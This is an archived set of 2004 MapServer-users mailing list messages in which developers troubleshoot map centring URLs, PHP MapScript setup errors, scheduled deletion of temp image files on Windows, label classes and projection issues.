> When I try a sample phpmapsript code, I get the following error :
> "Premature end of script headers: c:/php/php.exe"
>
> WIN2000 pro
> Apache 1.3.29
> Php 4.3.3
> PhpMapscript 4.0.1
>
> Any ideas ?
>
>
> Thanks
>
>
> Charles
From mapserver@meteologica.es Tue May 4 15:04:58 2004
From: mapserver@meteologica.es (Paco Regodon)
Date: Tue, 4 May 2004 16:04:58 +0200
Subject: [Mapserver-users] center map on x,y coordinates
In-Reply-To:
References:
Message-ID: <200405041604.58294.mapserver@meteologica.es>
The scale parameter is not clear, as it is related with RESOLUTION.
If your units are meters, you can calculate your escale using this formula:
scale = ((EXTENT * 100) * RESOLUTION / 2.54 ) / image_width_in_pixels.
RESOLUTION defaults to 72 dpi (dots per inch) but you can change it in the
mapfile if you need to.
Just try a big scale (scale=15000000).
Have you tried using MAPXY/BUFFER instead of MAPXY/SCALE?
Paco
On Tuesday 04 May 2004 11:24, Elisabeth Nolz wrote:
> hi list.
> in my application i have a drop-down menu with lots of addresses (addresses
> and appropriate x,y coordinates stored in a mysql-database). the user can
> choose one address and then click on the submit-button to show the map
> centered on the chosen address.
> the problem is, that i don't know how i could center my map on x,y
> coordinates.
>
> i found the following entry in the mapserver-user-history:
> "If you have x,y coordinates for the centers of your parcels in your mysql
> database, you can just run your search, grab the results, and redirect to a
> url like:
> http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_f
>rom_mysql&scale=150000"
>
> i tried this link with my coordinates but it doesn't work this way. could
> someone help me please?
>
> thx,
> elisabeth.
>
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From williampaul28@yahoo.com Tue May 4 15:06:20 2004
From: williampaul28@yahoo.com (william paul)
Date: Tue, 4 May 2004 07:06:20 -0700 (PDT)
Subject: [Mapserver-users] erasing files from tmp folder
Message-ID: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com>
--0-1265778250-1083679580=:19406
Content-Type: text/plain; charset=us-ascii
Hi again,
I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp
thank's
---------------------------------
Do you Yahoo!?
Win a $20,000 Career Makeover at Yahoo! HotJobs
--0-1265778250-1083679580=:19406
Content-Type: text/html; charset=us-ascii
Hi again,
I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp
thank's
Do you Yahoo!? Win a $20,000 Career Makeover at Yahoo! HotJobs
--0-1265778250-1083679580=:19406--
From e9625730@student.tuwien.ac.at Tue May 4 15:14:14 2004
From: e9625730@student.tuwien.ac.at (Elisabeth Nolz)
Date: Tue, 4 May 2004 16:14:14 +0200
Subject: Fw: [Mapserver-users] center map on x,y coordinates
Message-ID:
i checked my mapfile and there was an error. you were right. i changed this
and now i get this error:
getNumeric(): Incorrect data type.
On Tuesday 04 May 2004 15:21, Alexandros Chimarios wrote:
How about checking your map file ? Propably there's a syntax error in there !
Send your map file please.
On Tuesday 04 May 2004 15:14, Elisabeth Nolz wrote:
i tried alexandros link but still got the same error:
getString(): Symbol definition error. (MAP):(0)
perhaps someone knows whats going wrong.
elisabeth.
On Tuesday 04 May 2004 14:44, Alexandros Chimarios wrote:
make last try with :
http://localhost/cgi-bin/mapserv?map=map.map&mapxy="339989,00
1646,00"&scale=1000
It seems that the %20 special HTML char is getting confused with the number
after that.
Elisabeth, please also send a carbon-copy of your emails to the
mapserver-list cause may be some people out there that could help you more
than me.
I don't know if this make you feel better, but I also have some problems with
Maserver. I have been trying to setup a WMS server since the morning !
Regards
Alexandros
"Elisabeth Nolz" schrieb:
hi again, alexandros.
i copied my .map-file to the apache/cgi-bin directory and this is the link i'm
working with by now:
http://localhost/cgi-bin/mapserv?map=map.map&mapxy=339989,00%201646,00&scale=1000
but i get the following error:
getString(): Symbol definition error. (MAP):(0)
do you know what that means?
On Tuesday 04 May 2004 14:15, Alexandros Chimarios wrote:
Elisabeth,
I think there's a problem with your URL. According to Mapserver syntax the CGI
param should be: MAPXY [x] [y]
But you have
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000
What does this "+" symbol mean ?
Try the following URL :
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql%20y_from_mysql&scale=150000
"Elisabeth Nolz" schrieb:
i'm using PHP MapScript 3.6 and these x,y coordinates are geographical
coordinates (gauss-krueger). i want to pass these coordinates through a link.
is that possible?
On Tuesday 04 May 2004 13:34, Alexandros Chimarios wrote:
Hi ,
are you using the MapScript language ? If yes in the mapObj class there is
the method centerByPoint which operates on the screen space(pixels). What are
those x,y ? Screen coords(pixels) or geographical coordinates (e.x lat/lon) ?
On Tuesday 04 May 2004 12:24, Elisabeth Nolz wrote:
hi list.
in my application i have a drop-down menu with lots of addresses addresses and
appropriate x,y coordinates stored in a mysql-database). the user can choose
one address and then click on the submit-button to show the map centered on
the chosen address.
the problem is, that i don't know how i could center my map on x,y
coordinates.
i found the following entry in the mapserver-user-history:
"If you have x,y coordinates for the centers of your parcels in your mysql
database, you can just run your search, grab the results, and redirect to a
url like:
http://myserver.com/cgi-bin/mapserver?map=parcel.map&mapxy=x_from_mysql+y_from_mysql&scale=150000"
i tried this link with my coordinates but it doesn't work this way. could
someone help me please?
thx,
elisabeth.
From jerl.simpson@rkiq.com Tue May 4 15:32:42 2004
From: jerl.simpson@rkiq.com (Jerl Simpson)
Date: Tue, 04 May 2004 09:32:42 -0500
Subject: [Mapserver-users] erasing files from tmp folder
In-Reply-To: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com>
References: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com>
Message-ID: <4097A98A.5040406@rkiq.com>
use the scheduler in XP to run a batch script that cleans up the files.
does XP have the "at" command? That might work too.
william paul wrote:
> Hi again,
> I still ave the same problem with erasing files from tmp directory. I
> received an answer to use cron or croon, but I don't know exact what is
> cron or croon? it's a script in java?, a software? I use Windows Xp
> thank's
>
> ------------------------------------------------------------------------
> Do you Yahoo!?
> Win a $20,000 Career Makeover at Yahoo! HotJobs
>
>
From nicolas.fortin@ec.gc.ca Tue May 4 15:30:33 2004
From: nicolas.fortin@ec.gc.ca (Fortin,Nicolas [SteFoy])
Date: Tue, 4 May 2004 10:30:33 -0400
Subject: [Mapserver-users] erasing files from tmp folder
Message-ID: <118A9CF846431048B65C4AFB0E57C0ED0372FC@ECQCSTFMAIL1.quebec.int.ec.gc.ca>
This is a multi-part message in MIME format.
------_=_NextPart_001_01C431E4.5BBCE1CA
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
=20
Hi!
=20
I use windows task manager with a simple .bat file in the tmp directory =
like this:
del *.gif
del *.png
del *.jpg
=20
The dir is emptied every hour.
=20
Hope this helps,
Nicolas
=20
=20
-----Message d'origine-----
De : william paul [mailto:williampaul28@yahoo.com]=20
Envoy=E9 : Tuesday, May 04, 2004 10:06 AM
=C0 : mapserver-users@lists.gis.umn.edu
Objet : [Mapserver-users] erasing files from tmp folder
=09
=09
Hi again,
I still ave the same problem with erasing files from tmp directory. I =
received an answer to use cron or croon, but I don't know exact what is =
cron or croon? it's a script in java?, a software? I use Windows Xp
thank's
=09
_____ =20
Do you Yahoo!?
Win a $20,000 Career Makeover at Yahoo! HotJobs =
=20
------_=_NextPart_001_01C431E4.5BBCE1CA
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message
Hi!
I use=20
windows task manager with a simple .bat file in the tmp =
directory like=20
this:
del=20
*.gif
del=20
*.png
del=20
*.jpg
The=20
dir is emptied every hour.
Hope=20
this helps,
Nicolas
-----Message d'origine----- De : william paul=20
[mailto:williampaul28@yahoo.com] Envoy=E9 : Tuesday, =
May 04,=20
2004 10:06 AM =C0 :=20
mapserver-users@lists.gis.umn.edu Objet : =
[Mapserver-users]=20
erasing files from tmp folder
Hi again,
I still ave the same problem with erasing files from tmp =
directory. I=20
received an answer to use cron or croon, but I don't know exact what =
is cron=20
or croon? it's a script in java?, a software? I use Windows Xp
thank's
Do you Yahoo!? Win=20
a $20,000 Career Makeover at Yahoo! HotJobs=20
=00
------_=_NextPart_001_01C431E4.5BBCE1CA--
From EZS@DeStraat.NL Tue May 4 15:42:21 2004
From: EZS@DeStraat.NL (Emil Zegers)
Date: Tue, 04 May 2004 16:42:21 +0200
Subject: [Mapserver-users] Premature end of script headers:
c:/php/php.exe
Message-ID:
Did you copy the dll's from the /php/dll directory to the windows system directory? See the install.txt that comes with the php installer/binaries.
>>> 05/04/04 03:52pm >>>
> Hi,
>
> When I try a sample phpmapsript code, I get the following error :
> "Premature end of script headers: c:/php/php.exe"
>
> WIN2000 pro
> Apache 1.3.29
> Php 4.3.3
> PhpMapscript 4.0.1
>
> Any ideas ?
>
>
> Thanks
>
>
> Charles
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
__________
VChecked
______________________________________________________
This message has been checked for all known viruses
______________________________________________________
From EZS@DeStraat.NL Tue May 4 15:43:18 2004
From: EZS@DeStraat.NL (Emil Zegers)
Date: Tue, 04 May 2004 16:43:18 +0200
Subject: [Mapserver-users] erasing files from tmp folder
Message-ID:
A cron job is for Linux/Unix.
For Windows you can use a batch file to delete all files from the temp directory with the task scheduler.
>>> william paul 05/04/04 04:06pm >>>
Hi again,
I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp
thank's
---------------------------------
Do you Yahoo!?
Win a $20,000 Career Makeover at Yahoo! HotJobs
__________
VChecked
______________________________________________________
This message has been checked for all known viruses
______________________________________________________
From simon@inf.univali.br Tue May 4 15:59:00 2004
From: simon@inf.univali.br (Fernando S.)
Date: Tue, 04 May 2004 11:59:00 -0300
Subject: [Mapserver-users] Label/Classes Items
Message-ID: <4097AFB4.70208@inf.univali.br>
This is a multi-part message in MIME format.
--------------050707070105030603090803
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit
Hi,
I am with some problems with label items. I have one layer with two
classes and I don't have data because I NEED to use FEATURE.
Well, I'm using mapscript to set and add the feature, this items are
draw correctly, they appear in the map. They are drawed using first
class definitions.
Now I need to set correctly the class using mapscript. I tried to
set the classindex in "ms_newShapeObj", the same that I use in
"addFeature". I set this value before I execute "addFeature". But the
data always drawed by first class. When I execute an echo before set the
classindex was show 0 and after I changed, was show the value that I
set, but always the feature it's drawed by first class. I changed the
values to many options (1, 2, 3....) but without effect.
I can't to define one EXPRESSION in class because I don't have
anything to define. The feature (shapeObj) only support to change two
attributes "text" and "classindex". Text to label and index to class,
correct?
I used this layer:
layer
name 'test'
type point
status off
labelcache on
class
symbol 'coleta'
color 255 0 0
outlinecolor 255 255 255
size 10
label
antialias on
color 255 255 255
outlinecolor 0 0 0
buffer 2
font verdana
type truetype
force false
size 8
position ll
end
end
class
color 0 0 0
outlinecolor 255 255 255
symbol 'sede'
size 10
label
antialias on
color 125 255 155
outlinecolor 125 0 123
buffer 2
font verdana
type truetype
force true
size 8
position cc
end
end
end
I changed many values in this layer, labelcache, force,
position...... but always the same efect. First class.
And I use this mapscript code:
if ($layer_name == 'test')
{
ociConectar(); //Connect to database
ociExecutar( $pesq_faz_suinos); //Execute the query
$p = ms_newpointObj();
while (list($cd_fornecedor, $x, $y ) = ociTupla())
{
$p->setXY($x, $y);
if ($circle->contains($p))
{
isset($ShapePonto);
isset($Ponto);
$Ponto = ms_newLineObj();
$Ponto->addXY( $x, $y );
$ShapePonto = ms_newShapeObj( MS_SHAPE_POINT );
$ShapePonto->add( $Ponto );
echo $ShapePonto->classindex; //Show 0
echo $layer->numclasses; //Show 2
$ShapePonto->set('classindex',1);
echo $ShapePonto->classindex; //Show 1
$ShapePonto->set('text',$cd_fornecedor);
$layer->addFeature( $ShapePonto );
echo $ShapePonto->classindex; //Show 1
$Ponto->free();
$ShapePonto->free();
unset($Ponto);
unset($ShapePonto);
}
}
}
Now, how I can do to set the indexclass correctly?How I can change
betwen the class using Mapscript?
I'm using version 4.02.
Sorry my poor english.
Thank's for help.
==================================================================
Fernando Simon
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laboratório de Computação Aplicada
MapOracleSpatial developer
http://g10.cttmar.univali.br
==================================================================
--------------050707070105030603090803
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi,
I am with some problems with label items. I have one layer with two
classes and I don't have data because I NEED to use FEATURE.
Well, I'm using mapscript to set and add the feature, this items
are draw correctly, they appear in the map. They are drawed using first
class definitions.
Now I need to set correctly the class using mapscript. I tried to
set the classindex in "ms_newShapeObj", the same that I use in
"addFeature". I set this value before I execute "addFeature". But the
data always drawed by first class. When I execute an echo before set
the classindex was show 0 and after I changed, was show the value that
I set, but always the feature it's drawed by first class. I changed the
values to many options (1, 2, 3....) but without effect.
I can't to define one EXPRESSION in class because I don't have
anything to define. The feature (shapeObj) only support to change two
attributes "text" and "classindex". Text to label and index to class,
correct?
I used this layer:
layer
name 'test'
type point
status off
labelcache on
class
symbol 'coleta'
color 255 0 0
outlinecolor 255 255 255
size 10
label
antialias on
color 255 255 255
outlinecolor 0 0 0
buffer 2
font verdana
type truetype
force false
size 8
position ll
end
end
class
color 0 0 0
outlinecolor 255 255 255
symbol 'sede'
size 10
label
antialias on
color 125 255 155
outlinecolor 125 0 123
buffer 2
font verdana
type truetype
force true
size 8
position cc
end
end
end
I changed many values in this layer, labelcache, force,
position...... but always the same efect. First class.
And I use this mapscript code:
if ($layer_name == 'test')
{
ociConectar(); //Connect to database
ociExecutar( $pesq_faz_suinos); //Execute the query
$p = ms_newpointObj();
while (list($cd_fornecedor, $x, $y ) = ociTupla())
{
$p->setXY($x, $y);
if ($circle->contains($p))
{
isset($ShapePonto);
isset($Ponto);
Now, how I can do to set the indexclass correctly?How I can change
betwen the class using Mapscript?
I'm using version 4.02.
Sorry my poor english.
Thank's for help.
==================================================================
Fernando Simon
DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
G10 - Laboratório de Computação Aplicada
MapOracleSpatial developer http://g10.cttmar.univali.br
==================================================================
--------------050707070105030603090803--
From edspremolla@Antel.com.uy Tue May 4 16:02:13 2004
From: edspremolla@Antel.com.uy (Eduardo Spremolla)
Date: Tue, 04 May 2004 12:02:13 -0300
Subject: [Mapserver-users] erasing files from tmp folder
In-Reply-To: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com>
References: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com>
Message-ID: <1083682933.31557.5.camel@fly.in.iantel.com.uy>
Cron is the periodic task executor of unix. In windows there is
something similar named "rutin task" ore some thing like that.
Make it call a .bat to erase the files everi hour.
LALO
El mar, 04-05-2004 a las 11:06, william paul escribió:
> Hi again,
> I still ave the same problem with erasing files from tmp directory. I
> received an answer to use cron or croon, but I don't know exact what
> is cron or croon? it's a script in java?, a software? I use Windows Xp
> thank's
>
>
> ______________________________________________________________________
> Do you Yahoo!?
> Win a $20,000 Career Makeover at Yahoo! HotJobs
--
Eduardo Spremolla
Antel I+D
From dmorissette@dmsolutions.ca Tue May 4 16:29:48 2004
From: dmorissette@dmsolutions.ca (Daniel Morissette)
Date: Tue, 04 May 2004 11:29:48 -0400
Subject: [Mapserver-users] nesting of layers in WMS
In-Reply-To: <5350.212.238.227.182.1083677958.squirrel@webmail.xs4all.nl>
References: <5350.212.238.227.182.1083677958.squirrel@webmail.xs4all.nl>
Message-ID: <4097B6EC.9010108@dmsolutions.ca>
bartvde@xs4all.nl wrote:
>
> as most of you know Mapserver supports nesting of layers as a WMS server
> by using the GROUP attribute for layers.
>
> However this only supports nesting layers one level deep, while the OGC
> WMS spec allows it to be nested infinitely.
>
> Are there any plans for Mapserver to support a deeper level of nesting,
> like e.g. the Cubewerx server supports? Will this still be practical with
> the current MAP file format, or will it need an XML map file format?
>
No, there is no plan to support deeper nesting (not on our side anyway).
As you wrote, the current mapfile structure (and the Map object
structure in memory) wouldn't be well suited for that. And going to an
XML map file format without changing the map object wouldn't help for
that either. (However something could probably be done using metadata
without changing the object structure I think.)
Daniel
--
------------------------------------------------------------
Daniel Morissette dmorissette@dmsolutions.ca
DM Solutions Group http://www.dmsolutions.ca/
------------------------------------------------------------
From thelen@ccgis.de Tue May 4 16:32:34 2004
From: thelen@ccgis.de (Benjamin Thelen)
Date: Tue, 04 May 2004 17:32:34 +0200
Subject: [Mapserver-users] PHP4's bundled regex problem - PHP MapScript
In-Reply-To: <40979816.3030808@uva.nl>
References: <200404301413.i3UEDLA9011504@ccom.unh.edu> <409790C1.7020001@ccgis.de> <40979816.3030808@uva.nl>
Message-ID: <4097B792.6060600@ccgis.de>
Mapserver needs php to be compiled as a cgi, if phpMapScript support
is requested, so --with-apache or --with-apxs doesn't really make
sense, I think. But maybe I am wrong. I agree, that lots of people
have had this problem and the error message is missleading.
Benjamin
---------------------------------
CCGIS GbR - Bonn
http://www.ccgis.de
Siemensstraße 8
53121 Bonn
Germany
Tel: ++49 (0) 228 90826 15
Fax: ++49 (0) 228 90826 11
Jan Hartmann wrote:
>
>
> Benjamin Thelen wrote:
>
>> Don't use –with-httpd=/usr/local/apache2/bin/httpd!
>>
>>
>
> I stumbled over the same problem yesterday. The error message is
> misleading. PHP-Mapscript requires PHP to have been compiled with
> "--with-regex=system", but even if that is the case, the configure
> script fails when called with "--with-apxs" or "-- with-apache". (Both
> options seem to be currently disabled BTW). Could someone please adapt
> this error message in the configure script? Lots of people seem to have
> had this problem.
>
> Jan
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From Charles.Blais@agr.gouv.qc.ca Tue May 4 16:36:36 2004
From: Charles.Blais@agr.gouv.qc.ca (Charles.Blais@agr.gouv.qc.ca)
Date: Tue, 4 May 2004 11:36:36 -0400
Subject: [Mapserver-users] Premature end of script headers: c:/php/php
.exe
Message-ID: <6369CE0CFAE7D411AC900002A5092B390127E889@nclt1-ntcoup1.mapaq.gouv.qc.ca>
Yes I did.
-----Message d'origine-----
De : Emil Zegers [mailto:EZS@DeStraat.NL]
Envoyé : 4 mai 2004 10:42
À : Blais Charles (DRCQ) (Nicolet); mapserver-users@lists.gis.umn.edu
Objet : Re: [Mapserver-users] Premature end of script headers:
c:/php/php.exe
Did you copy the dll's from the /php/dll directory to the windows system
directory? See the install.txt that comes with the php installer/binaries.
>>> 05/04/04 03:52pm >>>
> Hi,
>
> When I try a sample phpmapsript code, I get the following error :
> "Premature end of script headers: c:/php/php.exe"
>
> WIN2000 pro
> Apache 1.3.29
> Php 4.3.3
> PhpMapscript 4.0.1
>
> Any ideas ?
>
>
> Thanks
>
>
> Charles
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
__________
VChecked
______________________________________________________
This message has been checked for all known viruses
______________________________________________________
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From sgillies@frii.com Tue May 4 16:50:00 2004
From: sgillies@frii.com (Sean Gillies)
Date: Tue, 04 May 2004 09:50:00 -0600
Subject: [Mapserver-users] auto angle line labeling with mapscript
In-Reply-To: <409781DF.1090000@webgis.de>
References: <409781DF.1090000@webgis.de>
Message-ID: <4097BBA8.2010404@frii.com>
Michael Schulz wrote:
> Hi,
>
> I have a problem with labeling line features with the angle auto option.
> If I draw a certain line layer with shp2img then everything works fine.
> This is the corresponding image:
> http://www.zopecms.de/bohrdatenportal/labeltest_shp2img.png
>
> If I use the same mapfile with python/mapscript then the situation
> changes, the labels are drawn, but they get rotated in the wrong
> direction but for a "correct" angle value.
> This is the corresponding image:
> http://www.zopecms.de/bohrdatenportal/labeltest_pymapscript.png
>
> These images were created with mapserver 4.0.1, gd-2.0.21,
> freetype-2.1.7 on WIN2K.
>
> Has anyone using mapscript, perhaps in another flavor had the same
> problems?
>
> TIA, Michael
>
> P.S.: Could this problem be related with this bug:?
> http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=564
Michael,
The shp2img program is nothing more than a command line processing
wrapper for the msLoadMap() and msDrawMap() functions in libmap.
The equivalent in Python would be something like
shp2img_map = mapscript.mapObj(mapfile_source)
... # process layer, extent options, &c.
img = shp2img_map.draw()
img.save(imgfile_destination)
If you are using the draw() method of the mapObj class, all else being
equal, you should see the same results from the two methods. Are you
using mapObj().draw or are you using layerObj.draw()?
Have you ruled out the possibility that you are mixing shp2img and
_mapscript.so from different revisions?
cheers,
Sean
From mtperry78@sbcglobal.net Tue May 4 17:02:39 2004
From: mtperry78@sbcglobal.net (Matthew Perry)
Date: Tue, 4 May 2004 09:02:39 -0700 (PDT)
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E4473@mercator.topozone.com>
Message-ID: <20040504160239.12792.qmail@web80103.mail.yahoo.com>
We have, for the time being, decided that we must use
projected data with mapserv.js. In order to get
accurate scale calculations necessary for the
navigation tools, the units must be planar.
The solution might involve some javascript conversion
of lat/long mouse clicks and extents into planar
distances, doing the scale calculations, then
converting back to lat/long. It would be much easier
to simply reproject the datasets.
Thanks to everyone for their help.
Matt Perry
Natural Resources Planning
Humboldt State University
mtperry78@sbcglobal.net
--- Ed McNierney wrote:
> Matt -
>
> The problem with unprojected data is that it's a
> strange and
> hard-to-interpret data set when you try to measure
> something!
>
> If your data is displayed in "decimal degrees" that
> means that one
> degree of latitude and one degree of longitude form
> a square. Of
> course, they don't really do that anywhere on the
> Earth. And unless
> you're really close to the equator, one degree of
> longitude is
> noticeably shorter than one degree of latitude. And
> the length of one
> degree of longitude varies depending on the
> latitude.
>
> So you've got a map that lets users measure "one
> degree" - what does
> that mean? It means that you're taking those
> angular units and trying
> to pretend they're linear units. If someone
> measures between two points
> on your map and measures one degree, they will know
> that the square root
> of the sum of the latitude difference squared and
> the longitude
> difference squared equals one. It does not tell
> them anything about how
> far apart those two points are in any useful linear
> measurement (feet,
> miles, meters, cubits, chains, furlongs, etc.).
>
> And if you display a scalebar on that map, the units
> must be in
> "degrees", whatever they are .
>
> What kind of measurement are you hoping to display?
>
> - Ed
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com / Maps a la carte, Inc.
> 73 Princeton Street, Suite 305
> North Chelmsford, MA 01863
> ed@topozone.com
> (978) 251-4242
>
> -----Original Message-----
> From: Matthew Perry [mailto:mtperry78@sbcglobal.net]
>
> Sent: Monday, May 03, 2004 3:01 PM
> To: mapserver-users@lists.gis.umn.edu
> Cc: Gregor Mosheh
> Subject: [Mapserver-users] Using mapserv.js with
> decimal degrees
>
> Hey all,
> I have been using the mapserv.js and dbox.js
> libraries for developing
> mapserver interfaces. It works great for projected
> data but now we're
> trying to get the navigation tools (panning,
> zooming, etc) to work with
> decimal degrees.
>
> In the mapserv.js, there is a global variable called
> InchesPerMapUnit
> that you need to set correctly if not using meters.
> Since lat/long is
> measured in angular units (degrees), how would you
> set this variable?
>
> Are there any other tricks to get the coordinate
> calculations working
> with lat/long? Anyone had any luck with this? Is it
> even possible?
>
> Thanks for any input!
>
> Matt Perry
> Natural Resources Planning
> Humboldt State University
> mtperry78@sbcglobal.net
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users@lists.gis.umn.edu
>
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
From jerl.simpson@rkiq.com Tue May 4 17:36:13 2004
From: jerl.simpson@rkiq.com (Jerl Simpson)
Date: Tue, 04 May 2004 11:36:13 -0500
Subject: [Mapserver-users] TILEINDEX question
Message-ID: <4097C67D.7000901@rkiq.com>
I keep seeing this term TILEINDEX and I have yet to find what it
actually is, or what it provides.
I am hoping it helps index the maps, so that when I look at a small
section of my entire map, it indexes this and speeds up the maps. And
doesn't look at the entire US to draw a small area of say, Long Island.
Can someone point me to a more detailed explanation of this feature?
Thanks,
Jerl
From aattri@cba.ua.edu Tue May 4 18:36:22 2004
From: aattri@cba.ua.edu (Attri, Abhishek)
Date: Tue, 4 May 2004 12:36:22 -0500
Subject: [Mapserver-users] How to import mysql data in mapscript
Message-ID:
This is a multi-part message in MIME format.
------_=_NextPart_001_01C431FE.50D74C70
Content-Type: text/plain;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Hi all,
=20
Please let me know if it's possible at all. I am trying to import data
(which is not shape data, but just simple data like population of all
counties of a state) from a MySQL database, and query the shapefiles for
"Counties" based on the fields in the MySQL database. The shapefiles
and the results from the MySQL query have nothing in common. They are
two totally different data sources. How can I integrate them?=20
=20
Has anyone done something like this? If yes, then how will you set the
values of 'data', 'classitem' and 'setexpression' in the layer and
class objects?
If that's not possible, what else can be done to achieve the above
purpose?=20
=20
I have tried a lot of combinations to import data, and query the result
set, but was not successful to create the layer based on MySQL data.
Please help!
=20
With thanks,
=20
Abhishek
=20
=20
=20
=20
------_=_NextPart_001_01C431FE.50D74C70
Content-Type: text/html;
charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Hi all,
Please let me know if it’s possible at all. I =
am
trying to import data (which is not shape data, but just simple data =
like
population of all counties of a state) from a MySQL database, and query =
the shapefiles
for “Counties” based on the fields in the MySQL database. =
The
shapefiles and the results from the MySQL query have nothing in common. =
They are
two totally different data sources. How can I integrate them? =
Has anyone done something like this? If yes, then how =
will
you set the values of ‘data’, ‘classitem’ and =
‘setexpression’
in the layer and class objects?
If that’s not possible, what else can be done =
to
achieve the above purpose?
I have tried a lot of combinations to import data, =
and query
the result set, but was not successful to create the layer based on =
MySQL data.
Please help!
With thanks,
Abhishek
------_=_NextPart_001_01C431FE.50D74C70--
From Charles.Blais@agr.gouv.qc.ca Tue May 4 18:40:45 2004
From: Charles.Blais@agr.gouv.qc.ca (Charles.Blais@agr.gouv.qc.ca)
Date: Tue, 4 May 2004 13:40:45 -0400
Subject: [Mapserver-users] Premature end of script headers: c:/php/php
.exe
Message-ID: <6369CE0CFAE7D411AC900002A5092B390127E88C@nclt1-ntcoup1.mapaq.gouv.qc.ca>
I found the problem.
I have php.exe in c:\php\ and mapserv.exe in
c:\apache_group\apache\cgi-bin\.
Mapserver's librairies was in c:\winnt\system32. I removed them (gdal11.dll,
libpq.dll, libcurl.dll, NC***.dll, pdflib.dll, php4ts.dll, proj.dll,
xerces-c_1_6-0.dll) and put them in c:\php\ and
c:\apache_group\apache\cgi-bin\. Now it's working
Thanks
Charles
-----Message d'origine-----
De : Blais Charles (DRCQ) (Nicolet)
Envoyé : 4 mai 2004 11:37
À : EZS@DeStraat.NL; mapserver-users@lists.gis.umn.edu
Objet : RE: [Mapserver-users] Premature end of script headers:
c:/php/php .exe
Yes I did.
-----Message d'origine-----
De : Emil Zegers [mailto:EZS@DeStraat.NL]
Envoyé : 4 mai 2004 10:42
À : Blais Charles (DRCQ) (Nicolet); mapserver-users@lists.gis.umn.edu
Objet : Re: [Mapserver-users] Premature end of script headers:
c:/php/php.exe
Did you copy the dll's from the /php/dll directory to the windows system
directory? See the install.txt that comes with the php installer/binaries.
>>> 05/04/04 03:52pm >>>
> Hi,
>
> When I try a sample phpmapsript code, I get the following error :
> "Premature end of script headers: c:/php/php.exe"
>
> WIN2000 pro
> Apache 1.3.29
> Php 4.3.3
> PhpMapscript 4.0.1
>
> Any ideas ?
>
>
> Thanks
>
>
> Charles
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
__________
VChecked
______________________________________________________
This message has been checked for all known viruses
______________________________________________________
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
_______________________________________________
Mapserver-users mailing list
Mapserver-users@lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
From siki@agt.bme.hu Tue May 4 22:11:36 2004
From: siki@agt.bme.hu (Siki Zoltan)
Date: Tue, 4 May 2004 20:11:36 -0100 (GMT+1)
Subject: [Mapserver-users] erasing files from tmp folder {Scanned}
In-Reply-To: <20040504140620.20316.qmail@web90009.mail.scd.yahoo.com>
Message-ID:
Hi,
On Tue, 4 May 2004, william paul wrote:
> Hi again,
> I still ave the same problem with erasing files from tmp directory. I received an answer to use cron or croon, but I don't know exact what is cron or croon? it's a script in java?, a software? I use Windows Xp
> thank's
>
cron is a unix service to repeat tasks hourly, daily, etc.
On windows xp you can set up a scheduled task
start/programs/accessories/system tools/scheduled tasks
to delete files from your tmp directory.
Bye
Zoltan
From ed@topozone.com Tue May 4 19:41:47 2004
From: ed@topozone.com (Ed McNierney)
Date: Tue, 4 May 2004 14:41:47 -0400
Subject: [Mapserver-users] Using mapserv.js with decimal degrees
Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4489@mercator.topozone.com>
Matt -
Of course, you do have the option of simply reprojecting the MAP, rather
than the datasets. You can leave your datasets untouched and have
MapServer produce the output map in whatever projection you choose.
- Ed
Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA 01863
ed@topozone.com
(978) 251-4242
-----Original Message-----
From: Matthew Perry [mailto:mtperry78@sbcglobal.net]
Sent: Tuesday, May 04, 2004 12:03 PM
To: Ed McNierney; mapserver-users@lists.gis.umn.edu
Cc: Gregor Mosheh
